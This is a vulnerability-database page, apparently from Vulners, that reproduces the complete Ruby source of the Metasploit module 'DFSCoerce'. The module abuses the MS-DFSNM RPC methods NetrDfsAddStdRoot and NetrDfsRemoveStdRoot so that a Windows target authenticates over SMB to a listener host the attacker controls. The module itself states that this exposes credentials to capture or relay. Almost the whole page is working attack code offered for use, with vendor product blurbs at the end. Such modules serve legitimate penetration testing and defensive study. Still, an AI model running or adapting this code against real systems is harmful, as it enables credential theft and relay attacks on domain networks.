Lucene search
K

DFSCoerce

🗓️ 16 Jul 2022 17:42:28Reported by Wh04m1001, xct_de, Spencer McIntyreType 
metasploit
 metasploit
🔗 www.rapid7.com👁 328 Views

Coerce an authentication attempt over SMB to other machines via MS-DFSNM methods

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'windows_error'
require 'ruby_smb'
require 'ruby_smb/error'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB::Client::Authenticated
  include Msf::Auxiliary::Scanner

  Dfsnm = RubySMB::Dcerpc::Dfsnm

  METHODS = %w[NetrDfsAddStdRoot NetrDfsRemoveStdRoot].freeze

  def initialize
    super(
      'Name' => 'DFSCoerce',
      'Description' => %q{
        Coerce an authentication attempt over SMB to other machines via MS-DFSNM methods.
      },
      'Author' => [
        'Wh04m1001',
        'xct_de',
        'Spencer McIntyre'
      ],
      'References' => [
        [ 'URL', 'https://github.com/Wh04m1001/DFSCoerce' ]
      ],
      'License' => MSF_LICENSE,
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'SideEffects' => [IOC_IN_LOGS],
        'Reliability' => []
      }
    )

    register_options(
      [
        OptString.new('LISTENER', [ true, 'The host listening for the incoming connection', Rex::Socket.source_address ]),
        OptEnum.new('METHOD', [ true, 'The RPC method to use for triggering', 'Automatic', ['Automatic'] + METHODS ])
      ]
    )
  end

  def connect_dfsnm
    vprint_status('Connecting to Distributed File System (DFS) Namespace Management Protocol')
    netdfs = @tree.open_file(filename: 'netdfs', write: true, read: true)

    vprint_status('Binding to \\netdfs...')
    netdfs.bind(endpoint: RubySMB::Dcerpc::Dfsnm)
    vprint_good('Bound to \\netdfs')

    netdfs
  end

  def run_host(_ip)
    begin
      connect
    rescue Rex::ConnectionError => e
      fail_with(Failure::Unreachable, e.message)
    end

    begin
      smb_login
    rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
      fail_with(Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).")
    end

    begin
      @tree = simple.client.tree_connect("\\\\#{sock.peerhost}\\IPC$")
    rescue RubySMB::Error::RubySMBError => e
      fail_with(Failure::Unreachable, "Unable to connect to the remote IPC$ share ([#{e.class}] #{e}).")
    end

    begin
      dfsnm = connect_dfsnm
    rescue RubySMB::Error::UnexpectedStatusCode => e
      if e.status_code == ::WindowsError::NTStatus::STATUS_ACCESS_DENIED
        fail_with(Failure::NoAccess, 'Connection failed (STATUS_ACCESS_DENIED)')
      end

      fail_with(Failure::UnexpectedReply, "Connection failed (#{e.status_code.name})")
    rescue RubySMB::Dcerpc::Error::FaultError => e
      elog(e.message, error: e)
      fail_with(Failure::UnexpectedReply, "Connection failed (DCERPC fault: #{e.status_name})")
    end

    begin
      case datastore['METHOD']
      when 'NetrDfsAddStdRoot'
        dfsnm.netr_dfs_add_std_root(datastore['LISTENER'], 'share', comment: Faker::Hacker.say_something_smart)
      when 'NetrDfsRemoveStdRoot', 'Automatic'
        # use this technique by default, it's the original and doesn't require a comment
        dfsnm.netr_dfs_remove_std_root(datastore['LISTENER'], 'share')
      end
    rescue RubySMB::Dcerpc::Error::DfsnmError => e
      case e.status_code
      when ::WindowsError::Win32::ERROR_ACCESS_DENIED
        # this should be the response even if LISTENER captured the credentials (MSF, Responder, etc.)
        print_good('Server responded with ERROR_ACCESS_DENIED which indicates that the attack was successful')
      when ::WindowsError::Win32::ERROR_BAD_NETPATH
        # this should be the response even if LISTENER was inaccessible
        print_good('Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful')
      else
        print_status("Server responded with #{e.status_code.name} (#{e.status_code.description})")
      end
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation